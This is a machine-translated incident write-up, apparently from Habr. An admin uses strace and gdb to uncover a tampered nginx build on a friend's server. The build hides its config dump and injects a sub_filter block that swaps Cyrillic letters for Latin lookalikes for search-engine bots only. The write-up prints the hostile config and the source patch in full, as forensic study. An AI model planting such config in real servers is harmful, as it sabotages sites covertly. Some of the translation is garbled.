ಯಾವಾಗ 'a' ಎಂಬುದು 'a' ಕ್ಕೆ ಸಮನಾಗಿರುವುದಿಲ್ಲ. ಒಂದು ಹ್ಯಾಕ್ ಜಾಡು ಮೇಲೆ

ನನ್ನ ಸ್ನೇಹಿತರೊಬ್ಬರಿಗೆ ಅತ್ಯಂತ ಅಹಿತಕರ ಕಥೆ ಸಂಭವಿಸಿದೆ. ಆದರೆ ಅದು ಮಿಖಾಯಿಲ್‌ಗೆ ಎಷ್ಟು ಅಹಿತಕರವಾಗಿದೆಯೋ, ಅದು ನನಗೆ ಮನರಂಜನೆಯಾಗಿದೆ.

ನನ್ನ ಸ್ನೇಹಿತ ಸಾಕಷ್ಟು ಎಂದು ನಾನು ಹೇಳಲೇಬೇಕು ಯುನಿಕ್ಸ್-ಬಳಕೆದಾರ: ಸಿಸ್ಟಮ್ ಅನ್ನು ಸ್ವತಃ ಸ್ಥಾಪಿಸಬಹುದು MySQL, ಪಿಎಚ್ಪಿ ಮತ್ತು ಸರಳ ಸೆಟ್ಟಿಂಗ್‌ಗಳನ್ನು ಮಾಡಿ nginx.
ಮತ್ತು ಅವರು ನಿರ್ಮಾಣ ಸಾಧನಗಳಿಗೆ ಮೀಸಲಾಗಿರುವ ಒಂದು ಡಜನ್ ಅಥವಾ ಒಂದೂವರೆ ವೆಬ್‌ಸೈಟ್‌ಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ.

ಚೈನ್ಸಾಗಳಿಗೆ ಮೀಸಲಾಗಿರುವ ಈ ಸೈಟ್‌ಗಳಲ್ಲಿ ಒಂದು ಸರ್ಚ್ ಇಂಜಿನ್‌ಗಳ TOP ನಲ್ಲಿ ದೃಢವಾಗಿ ಇರುತ್ತದೆ. ಈ ಸೈಟ್ ವಾಣಿಜ್ಯೇತರ ವಿಮರ್ಶಕ, ಆದರೆ ಯಾರೋ ಅದನ್ನು ಆಕ್ರಮಣ ಮಾಡುವ ಅಭ್ಯಾಸವನ್ನು ಪಡೆದರು. ಅದು ಡಿಡೋಸ್, ನಂತರ ವಿವೇಚನಾರಹಿತ ಶಕ್ತಿ, ನಂತರ ಅವರು ಅಶ್ಲೀಲ ಕಾಮೆಂಟ್‌ಗಳನ್ನು ಬರೆಯುತ್ತಾರೆ ಮತ್ತು ಹೋಸ್ಟಿಂಗ್ ಮತ್ತು RKN ಗೆ ನಿಂದನೆಗಳನ್ನು ಕಳುಹಿಸುತ್ತಾರೆ.
ಇದ್ದಕ್ಕಿದ್ದಂತೆ, ಎಲ್ಲವೂ ಶಾಂತವಾಯಿತು ಮತ್ತು ಈ ಶಾಂತತೆಯು ಉತ್ತಮವಾಗಿಲ್ಲ ಎಂದು ಬದಲಾಯಿತು, ಮತ್ತು ಸೈಟ್ ಕ್ರಮೇಣ ಹುಡುಕಾಟ ಫಲಿತಾಂಶಗಳ ಮೇಲಿನ ಸಾಲುಗಳನ್ನು ಬಿಡಲು ಪ್ರಾರಂಭಿಸಿತು.

ಯಾವಾಗ 'a' ಎಂಬುದು 'a' ಕ್ಕೆ ಸಮನಾಗಿರುವುದಿಲ್ಲ. ಹ್ಯಾಕ್ ಹಿನ್ನೆಲೆಯಲ್ಲಿ

ಅದು ಒಂದು ಮಾತು, ನಂತರ ನಿರ್ವಾಹಕರ ಕಥೆ.

ಫೋನ್ ರಿಂಗಣಿಸಿದಾಗ ಮಲಗುವ ಸಮಯ ಸಮೀಪಿಸುತ್ತಿದೆ: “ಸನ್, ನೀವು ನನ್ನ ಸರ್ವರ್ ಅನ್ನು ನೋಡುವುದಿಲ್ಲವೇ? ನಾನು ಹ್ಯಾಕ್ ಆಗಿದ್ದೇನೆ ಎಂದು ನನಗೆ ತೋರುತ್ತದೆ, ನಾನು ಅದನ್ನು ಸಾಬೀತುಪಡಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ, ಆದರೆ ಮೂರನೇ ವಾರದಲ್ಲಿ ಭಾವನೆ ನನ್ನನ್ನು ಬಿಟ್ಟಿಲ್ಲ. ಬಹುಶಃ ನಾನು ಮತಿವಿಕಲ್ಪಕ್ಕೆ ಚಿಕಿತ್ಸೆ ಪಡೆಯುವ ಸಮಯವಿತ್ತೇ?”

ನಂತರದ ವಿಷಯವು ಅರ್ಧ ಘಂಟೆಯ ಚರ್ಚೆಯಾಗಿದ್ದು ಅದನ್ನು ಈ ಕೆಳಗಿನಂತೆ ಸಂಕ್ಷಿಪ್ತಗೊಳಿಸಬಹುದು:

  • ಹ್ಯಾಕಿಂಗ್ಗಾಗಿ ಮಣ್ಣು ಸಾಕಷ್ಟು ಫಲವತ್ತಾಗಿತ್ತು;
  • ಆಕ್ರಮಣಕಾರನು ಸೂಪರ್ಯೂಸರ್ ಹಕ್ಕುಗಳನ್ನು ಪಡೆಯಬಹುದು;
  • ದಾಳಿಯನ್ನು (ಅದು ನಡೆದಿದ್ದರೆ) ನಿರ್ದಿಷ್ಟವಾಗಿ ಈ ಸೈಟ್‌ನಲ್ಲಿ ಗುರಿಪಡಿಸಲಾಗಿದೆ;
  • ಸಮಸ್ಯೆಯ ಪ್ರದೇಶಗಳನ್ನು ಸರಿಪಡಿಸಲಾಗಿದೆ ಮತ್ತು ಯಾವುದೇ ನುಗ್ಗುವಿಕೆ ಇದೆಯೇ ಎಂದು ನೀವು ಅರ್ಥಮಾಡಿಕೊಳ್ಳಬೇಕು;
  • ಹ್ಯಾಕ್ ಸೈಟ್ ಕೋಡ್ ಮತ್ತು ಡೇಟಾಬೇಸ್‌ಗಳ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರುವುದಿಲ್ಲ.

ಕೊನೆಯ ಅಂಶಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ.

ಯಾವಾಗ 'a' ಎಂಬುದು 'a' ಕ್ಕೆ ಸಮನಾಗಿರುವುದಿಲ್ಲ. ಹ್ಯಾಕ್ ಹಿನ್ನೆಲೆಯಲ್ಲಿ

ಬಿಳಿ ಮುಂಭಾಗದ ಐಪಿ ಮಾತ್ರ ಜಗತ್ತನ್ನು ನೋಡುತ್ತದೆ. Http (ಗಳು) ಹೊರತುಪಡಿಸಿ ಬ್ಯಾಕೆಂಡ್‌ಗಳು ಮತ್ತು ಮುಂಭಾಗದ ನಡುವೆ ಯಾವುದೇ ವಿನಿಮಯವಿಲ್ಲ, ಬಳಕೆದಾರರು/ಪಾಸ್‌ವರ್ಡ್‌ಗಳು ವಿಭಿನ್ನವಾಗಿವೆ, ಯಾವುದೇ ಕೀಗಳನ್ನು ವಿನಿಮಯ ಮಾಡಿಕೊಳ್ಳಲಾಗಿಲ್ಲ. ಬೂದು ವಿಳಾಸಗಳಲ್ಲಿ, 80/443 ಹೊರತುಪಡಿಸಿ ಎಲ್ಲಾ ಪೋರ್ಟ್‌ಗಳನ್ನು ಮುಚ್ಚಲಾಗಿದೆ. ವೈಟ್ ಬ್ಯಾಕೆಂಡ್ ಐಪಿಗಳು ಮಿಖಾಯಿಲ್ ಸಂಪೂರ್ಣವಾಗಿ ನಂಬುವ ಇಬ್ಬರು ಬಳಕೆದಾರರಿಗೆ ಮಾತ್ರ ತಿಳಿದಿದೆ.

ಮುಂಭಾಗದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿದೆ ಡೆಬಿಯನ್ 9 ಮತ್ತು ಕರೆ ಮಾಡುವ ಹೊತ್ತಿಗೆ, ಸಿಸ್ಟಮ್ ಅನ್ನು ಬಾಹ್ಯ ಫೈರ್‌ವಾಲ್‌ನಿಂದ ಪ್ರಪಂಚದಿಂದ ಪ್ರತ್ಯೇಕಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ನಿಲ್ಲಿಸಲಾಗುತ್ತದೆ.

"ಸರಿ, ನನಗೆ ಪ್ರವೇಶ ನೀಡಿ," ನಾನು ನಿದ್ರೆಯನ್ನು ಒಂದು ಗಂಟೆಯವರೆಗೆ ಮುಂದೂಡಲು ನಿರ್ಧರಿಸಿದೆ. "ನಾನು ನನ್ನ ಸ್ವಂತ ಕಣ್ಣುಗಳಿಂದ ನೋಡುತ್ತೇನೆ."

ಇಲ್ಲಿ ಮತ್ತು ಮತ್ತಷ್ಟು:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

ಸಂಭವನೀಯ ಹ್ಯಾಕ್ಗಾಗಿ ಹುಡುಕುತ್ತಿದ್ದೇವೆ

ನಾನು ಮೊದಲು ಸರ್ವರ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸುತ್ತೇನೆ ಪಾರುಗಾಣಿಕಾ ಕ್ರಮ. ನಾನು ಡಿಸ್ಕ್ಗಳನ್ನು ಆರೋಹಿಸುತ್ತೇನೆ ಮತ್ತು ಅವುಗಳ ಮೂಲಕ ಫ್ಲಿಪ್ ಮಾಡುತ್ತೇನೆ ದೃಢೀಕರಣ-ದಾಖಲೆಗಳು, ಇತಿಹಾಸ, ಸಿಸ್ಟಮ್ ಲಾಗ್‌ಗಳು, ಇತ್ಯಾದಿ., ಸಾಧ್ಯವಾದಾಗಲೆಲ್ಲಾ, ನಾನು ಫೈಲ್ ರಚನೆಯ ದಿನಾಂಕಗಳನ್ನು ಪರಿಶೀಲಿಸುತ್ತೇನೆ, ಆದರೂ ಸಾಮಾನ್ಯ ಕ್ರ್ಯಾಕರ್ ತನ್ನ ನಂತರ "ಗುಡಿಸಿ" ಎಂದು ನಾನು ಅರ್ಥಮಾಡಿಕೊಂಡಿದ್ದೇನೆ ಮತ್ತು ಮಿಶಾ ತನ್ನನ್ನು ತಾನು ಹುಡುಕುತ್ತಿರುವಾಗ ಈಗಾಗಲೇ ಸಾಕಷ್ಟು "ತೊಟ್ಟಿಗೆ ಬಿದ್ದಿದ್ದಾನೆ" .

ನಾನು ಸಾಮಾನ್ಯ ಕ್ರಮದಲ್ಲಿ ಪ್ರಾರಂಭಿಸುತ್ತೇನೆ, ಏನನ್ನು ನೋಡಬೇಕೆಂದು ಇನ್ನೂ ನಿಜವಾಗಿಯೂ ಅರ್ಥವಾಗುತ್ತಿಲ್ಲ, ನಾನು ಸಂರಚನೆಗಳನ್ನು ಅಧ್ಯಯನ ಮಾಡುತ್ತೇನೆ. ಮೊದಲನೆಯದಾಗಿ, ನಾನು ಆಸಕ್ತಿ ಹೊಂದಿದ್ದೇನೆ nginx ಏಕೆಂದರೆ, ಸಾಮಾನ್ಯವಾಗಿ, ಮುಂಭಾಗದಲ್ಲಿ ಅದನ್ನು ಹೊರತುಪಡಿಸಿ ಬೇರೇನೂ ಇಲ್ಲ.
ಸಂರಚನೆಗಳು ಚಿಕ್ಕದಾಗಿದೆ, ಹನ್ನೆರಡು ಫೈಲ್‌ಗಳಾಗಿ ಉತ್ತಮವಾಗಿ ರಚನೆಯಾಗಿದೆ, ನಾನು ಅವುಗಳ ಮೂಲಕ ನೋಡುತ್ತೇನೆ ಬೆಕ್ಕು'ಓಹ್ ಒಂದೊಂದಾಗಿ. ಎಲ್ಲವೂ ಸ್ವಚ್ಛವಾಗಿದೆ ಎಂದು ತೋರುತ್ತದೆ, ಆದರೆ ನಾನು ಏನನ್ನಾದರೂ ಕಳೆದುಕೊಂಡಿದ್ದೇನೆ ಎಂದು ನಿಮಗೆ ತಿಳಿದಿಲ್ಲ ಸೇರಿವೆ, ನಾನು ಸಂಪೂರ್ಣ ಪಟ್ಟಿಯನ್ನು ಮಾಡುತ್ತೇನೆ:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

ನನಗೆ ಅರ್ಥವಾಗಲಿಲ್ಲ: "ಪಟ್ಟಿ ಎಲ್ಲಿದೆ?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

ಪಟ್ಟಿಯ ಪ್ರಶ್ನೆಗೆ ಎರಡನೇ ಪ್ರಶ್ನೆಯನ್ನು ಸೇರಿಸಲಾಗಿದೆ: "ಏಕೆ nginx ನ ಪ್ರಾಚೀನ ಆವೃತ್ತಿ?"

ಹೆಚ್ಚುವರಿಯಾಗಿ, ಇತ್ತೀಚಿನ ಆವೃತ್ತಿಯನ್ನು ಸ್ಥಾಪಿಸಲಾಗಿದೆ ಎಂದು ಸಿಸ್ಟಮ್ ನಂಬುತ್ತದೆ:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

ನಾನು ಕರೆ ಮಾಡುತ್ತಿದ್ದೇನೆ:
- ಮಿಶಾ, ನೀವು ಏಕೆ ಮತ್ತೆ ಜೋಡಿಸಿದ್ದೀರಿ? nginx?
- ನಿರೀಕ್ಷಿಸಿ, ಇದನ್ನು ಹೇಗೆ ಮಾಡಬೇಕೆಂದು ನನಗೆ ತಿಳಿದಿಲ್ಲ!
- ಸರಿ, ಮಲಗು ...

ಎನ್ನಿಕ್ಸ್ ಅದನ್ನು ಸ್ಪಷ್ಟವಾಗಿ ಮರುನಿರ್ಮಾಣ ಮಾಡಲಾಗಿದೆ ಮತ್ತು "-T" ಅನ್ನು ಬಳಸಿಕೊಂಡು ಪಟ್ಟಿಯ ಔಟ್‌ಪುಟ್ ಅನ್ನು ಒಂದು ಕಾರಣಕ್ಕಾಗಿ ಮರೆಮಾಡಲಾಗಿದೆ. ಹ್ಯಾಕಿಂಗ್ ಬಗ್ಗೆ ಇನ್ನು ಮುಂದೆ ಯಾವುದೇ ಸಂದೇಹಗಳಿಲ್ಲ ಮತ್ತು ನೀವು ಅದನ್ನು ಸರಳವಾಗಿ ಸ್ವೀಕರಿಸಬಹುದು ಮತ್ತು (ಮಿಶಾ ಹೇಗಾದರೂ ಸರ್ವರ್ ಅನ್ನು ಹೊಸದರೊಂದಿಗೆ ಬದಲಾಯಿಸಿದ್ದರಿಂದ) ಸಮಸ್ಯೆಯನ್ನು ಪರಿಹರಿಸಲಾಗಿದೆ ಎಂದು ಪರಿಗಣಿಸಿ.

ಮತ್ತು ವಾಸ್ತವವಾಗಿ, ಯಾರಾದರೂ ಹಕ್ಕುಗಳನ್ನು ಪಡೆದ ಕಾರಣ ಬೇರು‘ಆಹ್, ಹಾಗಾದರೆ ಅದನ್ನು ಮಾಡಲು ಮಾತ್ರ ಅರ್ಥವಿದೆ ಸಿಸ್ಟಮ್ ಮರುಸ್ಥಾಪನೆ, ಮತ್ತು ಅಲ್ಲಿ ಏನು ತಪ್ಪಾಗಿದೆ ಎಂದು ಹುಡುಕುವುದು ನಿಷ್ಪ್ರಯೋಜಕವಾಗಿದೆ, ಆದರೆ ಈ ಬಾರಿ ಕುತೂಹಲವು ನಿದ್ರೆಯನ್ನು ಸೋಲಿಸಿತು. ಅವರು ನಮ್ಮಿಂದ ಮರೆಮಾಡಲು ಬಯಸಿದ್ದನ್ನು ನಾವು ಹೇಗೆ ಕಂಡುಹಿಡಿಯಬಹುದು?

ಪತ್ತೆಹಚ್ಚಲು ಪ್ರಯತ್ನಿಸೋಣ:

$ strace nginx -T

ನಾವು ಅದನ್ನು ನೋಡುತ್ತೇವೆ, ಟ್ರೇಸ್ ಎ ಲಾದಲ್ಲಿ ಸಾಕಷ್ಟು ಸಾಲುಗಳು ಸ್ಪಷ್ಟವಾಗಿಲ್ಲ

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

ಕೇವಲ ವಿನೋದಕ್ಕಾಗಿ, ಸಂಶೋಧನೆಗಳನ್ನು ಹೋಲಿಕೆ ಮಾಡೋಣ.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

ಕೋಡ್‌ನ ಭಾಗ ಎಂದು ನಾನು ಭಾವಿಸುತ್ತೇನೆ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ರೂಪಕ್ಕೆ ತರಲಾಯಿತು:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ಅಥವಾ

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ಆದ್ದರಿಂದ "-T" ಮೂಲಕ ಪಟ್ಟಿಯನ್ನು ಪ್ರದರ್ಶಿಸಲಾಗುವುದಿಲ್ಲ.

ಆದರೆ ನಮ್ಮ ಸಂರಚನೆಯನ್ನು ನಾವು ಹೇಗೆ ವೀಕ್ಷಿಸಬಹುದು?

ನನ್ನ ಆಲೋಚನೆ ಸರಿಯಾಗಿದ್ದರೆ ಮತ್ತು ಸಮಸ್ಯೆ ವೇರಿಯೇಬಲ್ನಲ್ಲಿ ಮಾತ್ರ ngx_dump_config ಇದನ್ನು ಬಳಸಿಕೊಂಡು ಸ್ಥಾಪಿಸಲು ಪ್ರಯತ್ನಿಸೋಣ ಜಿಡಿಬಿ, ಅದೃಷ್ಟವಶಾತ್ ಒಂದು ಕೀ ಇದೆ --ವಿತ್-ಸಿಸಿ-ಆಪ್ಟ್ -g ಪ್ರಸ್ತುತ ಮತ್ತು ಆಪ್ಟಿಮೈಸೇಶನ್ ಎಂದು ಭಾವಿಸುತ್ತೇವೆ -O2 ಇದು ನಮಗೆ ನೋಯಿಸುವುದಿಲ್ಲ. ಅದೇ ಸಮಯದಲ್ಲಿ, ಹೇಗೆ ಎಂದು ನನಗೆ ತಿಳಿದಿಲ್ಲದ ಕಾರಣ ngx_dump_config ನಲ್ಲಿ ಸಂಸ್ಕರಿಸಬಹುದು ಪ್ರಕರಣ 'ಟಿ':, ನಾವು ಈ ಬ್ಲಾಕ್ ಅನ್ನು ಕರೆಯುವುದಿಲ್ಲ, ಆದರೆ ಅದನ್ನು ಬಳಸಿಕೊಂಡು ಸ್ಥಾಪಿಸಿ ಪ್ರಕರಣ 'ಟಿ':

ನೀವು '-t' ಹಾಗೂ '-T' ಅನ್ನು ಏಕೆ ಬಳಸಬಹುದುಸಂಸ್ಕರಣೆ ನಿರ್ಬಂಧಿಸಿ ವೇಳೆ(ngx_dump_config) ಒಳಗೆ ನಡೆಯುತ್ತದೆ ವೇಳೆ(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

ಸಹಜವಾಗಿ, ಕೋಡ್ ಅನ್ನು ಈ ಭಾಗದಲ್ಲಿ ಬದಲಾಯಿಸಿದರೆ ಮತ್ತು ಒಳಗೆ ಅಲ್ಲ ಪ್ರಕರಣ 'ಟಿ':, ನಂತರ ನನ್ನ ವಿಧಾನವು ಕಾರ್ಯನಿರ್ವಹಿಸುವುದಿಲ್ಲ.

nginx.conf ಅನ್ನು ಪರೀಕ್ಷಿಸಿಈಗಾಗಲೇ ಸಮಸ್ಯೆಯನ್ನು ಪ್ರಾಯೋಗಿಕವಾಗಿ ಪರಿಹರಿಸಿದ ನಂತರ, ಮಾಲ್‌ವೇರ್ ಕೆಲಸ ಮಾಡಲು ಕನಿಷ್ಠ ಕಾನ್ಫಿಗರೇಶನ್ ಅಗತ್ಯವಿದೆ ಎಂದು ಸ್ಥಾಪಿಸಲಾಯಿತು nginx ಮಾದರಿ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

ನಾವು ಅದನ್ನು ಲೇಖನದಲ್ಲಿ ಸಂಕ್ಷಿಪ್ತತೆಗಾಗಿ ಬಳಸುತ್ತೇವೆ.

ಡೀಬಗರ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿ

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

ಹಂತ ಹಂತವಾಗಿ:

  • ಕಾರ್ಯದಲ್ಲಿ ಬ್ರೇಕ್‌ಪಾಯಿಂಟ್ ಅನ್ನು ಹೊಂದಿಸಿ ಮುಖ್ಯ ()
  • ಕಾರ್ಯಕ್ರಮವನ್ನು ಪ್ರಾರಂಭಿಸಿ
  • ಸಂರಚನೆಯ ಔಟ್‌ಪುಟ್ ಅನ್ನು ನಿರ್ಧರಿಸುವ ವೇರಿಯೇಬಲ್‌ನ ಮೌಲ್ಯವನ್ನು ಬದಲಾಯಿಸಿ ngx_dump_config=1
  • ಕಾರ್ಯಕ್ರಮವನ್ನು ಮುಂದುವರಿಸಿ/ಮುಕ್ತಗೊಳಿಸಿ

ನಾವು ನೋಡುವಂತೆ, ನಿಜವಾದ ಸಂರಚನೆಯು ನಮ್ಮದಕ್ಕಿಂತ ಭಿನ್ನವಾಗಿದೆ, ನಾವು ಅದರಿಂದ ಪರಾವಲಂಬಿ ತುಂಡನ್ನು ಆಯ್ಕೆ ಮಾಡುತ್ತೇವೆ:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ಇಲ್ಲಿ ಏನು ನಡೆಯುತ್ತಿದೆ ಎಂಬುದನ್ನು ಕ್ರಮವಾಗಿ ನೋಡೋಣ.

ನಿರ್ಧರಿಸಲಾಗುತ್ತದೆ ಬಳಕೆದಾರ ಏಜೆಂಟ್'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

ಸೇವಾ ಪುಟಗಳನ್ನು ಹೊರತುಪಡಿಸಲಾಗಿದೆ ವರ್ಡ್ಪ್ರೆಸ್:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

ಮತ್ತು ಮೇಲಿನ ಎರಡೂ ಷರತ್ತುಗಳ ಅಡಿಯಲ್ಲಿ ಬರುವವರಿಗೆ

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

ಪಠ್ಯದಲ್ಲಿ ಎಚ್ಟಿಎಮ್ಎಲ್- ಪುಟಗಳು ಬದಲಾಗುತ್ತವೆ 'ಓ' ಮೇಲೆ 'ಓ' и 'ಎ' ಮೇಲೆ 'ಎ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ಅದು ಸರಿ, ಒಂದೇ ಸೂಕ್ಷ್ಮತೆ 'a' != 'a' ಹಾಗೆಯೇ 'o' != 'o':

ಯಾವಾಗ 'a' ಎಂಬುದು 'a' ಕ್ಕೆ ಸಮನಾಗಿರುವುದಿಲ್ಲ. ಹ್ಯಾಕ್ ಹಿನ್ನೆಲೆಯಲ್ಲಿ

ಹೀಗಾಗಿ, ಸರ್ಚ್ ಎಂಜಿನ್ ಬಾಟ್‌ಗಳು ಸಾಮಾನ್ಯ 100% ಸಿರಿಲಿಕ್ ಪಠ್ಯದ ಬದಲಿಗೆ ಲ್ಯಾಟಿನ್‌ನೊಂದಿಗೆ ದುರ್ಬಲಗೊಳಿಸಿದ ಮಾರ್ಪಡಿಸಿದ ಕಸವನ್ನು ಸ್ವೀಕರಿಸುತ್ತವೆ. 'ಎ' и 'ಓ'. ಇದು ಎಸ್‌ಇಒ ಮೇಲೆ ಹೇಗೆ ಪರಿಣಾಮ ಬೀರುತ್ತದೆ ಎಂಬುದನ್ನು ಚರ್ಚಿಸಲು ನನಗೆ ಧೈರ್ಯವಿಲ್ಲ, ಆದರೆ ಅಂತಹ ಅಕ್ಷರಗಳ ಜಂಬಲ್ ಹುಡುಕಾಟ ಫಲಿತಾಂಶಗಳಲ್ಲಿನ ಸ್ಥಾನಗಳ ಮೇಲೆ ಸಕಾರಾತ್ಮಕ ಪರಿಣಾಮ ಬೀರುತ್ತದೆ ಎಂಬುದು ಅಸಂಭವವಾಗಿದೆ.

ನಾನು ಏನು ಹೇಳಬಲ್ಲೆ, ಕಲ್ಪನೆಯ ಹುಡುಗರೇ.

ಉಲ್ಲೇಖಗಳು

GDB ಯೊಂದಿಗೆ ಡೀಬಗ್ ಮಾಡಲಾಗುತ್ತಿದೆ
gdb(1) — Linux ಮ್ಯಾನ್ ಪುಟ
strace(1) — Linux ಮ್ಯಾನ್ ಪುಟ
Nginx - ಮಾಡ್ಯೂಲ್ ngx_http_sub_module
ಗರಗಸಗಳು, ಚೈನ್ಸಾಗಳು ಮತ್ತು ವಿದ್ಯುತ್ ಗರಗಸಗಳ ಬಗ್ಗೆ

ಮೂಲ: www.habr.com

ಕಾಮೆಂಟ್ ಅನ್ನು ಸೇರಿಸಿ